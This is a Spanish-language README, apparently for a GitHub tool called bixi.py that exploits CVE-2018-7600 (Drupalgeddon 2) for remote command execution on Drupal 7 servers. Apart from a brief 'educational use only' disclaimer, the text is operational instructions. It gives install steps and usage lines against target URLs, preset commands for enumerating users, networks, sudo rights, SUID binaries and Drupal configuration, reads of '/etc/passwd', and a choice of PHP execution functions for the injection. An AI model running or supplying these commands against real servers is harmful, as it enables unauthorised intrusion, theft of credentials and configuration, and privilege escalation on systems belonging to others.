
Exploit en Python para CVE-2018-7600 (Drupalgeddon 2) que permite ejecución remota de código en Drupal 7 con múltiples métodos de inyección y comandos predefinidos para Linux y Windows.
bixi.pybixi.py es un exploit para la vulnerabilidad CVE‑2018‑7600 (Drupalgeddon 2) que afecta a Drupal 7.
Permite la ejecución remota de comandos (RCE) en servidores Drupal vulnerables mediante una interfaz intuitiva y comandos predefinidos.
ESTE SOFTWARE ES SOLO PARA FINES EDUCATIVOS Y DE INVESTIGACIÓN EN ENTORNOS CONTROLADOS.
"With great power comes great responsibility"
systempassthruexecshell_execgit clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Otras distribuciones
pip3 install requests
chmod +x bixi.py
python3 bixi.py --help
python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]
# Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test
# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
| Comando | Descripción |
|---|---|
| linux | Información del sistema |
| users_linux | Listar usuarios |
| id | Info de usuario/grupos |
| ls | Listar archivos |
| ifconfig | Info de red |
| find_flag | Buscar flags |
| Comando | Descripción |
|---|---|
| windows | Información del sistema |
| net_user | Listar usuarios |
| whoami_win | Info detallada |
| ipconfig | Red |
| netstat_win | Conexiones |
| dir | Listar directorio |
| Comando | Descripción |
|---|---|
| sudo | Verificar privilegios sudo |
| suid | Buscar binarios SUID |
| net_localgroup | Grupos locales |
| drupal_config | Buscar configuraciones |
| drupal_version | Obtener versión Drupal |
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
Modificar valor por defecto (15 segundos):
timeout=15
Editar el diccionario commands en get_command_for_keyword()
pip3 install requests
# Verificar conectividad
ping TARGET_IP
# Verificar ruta Drupal
curl http://TARGET_IP/drupal/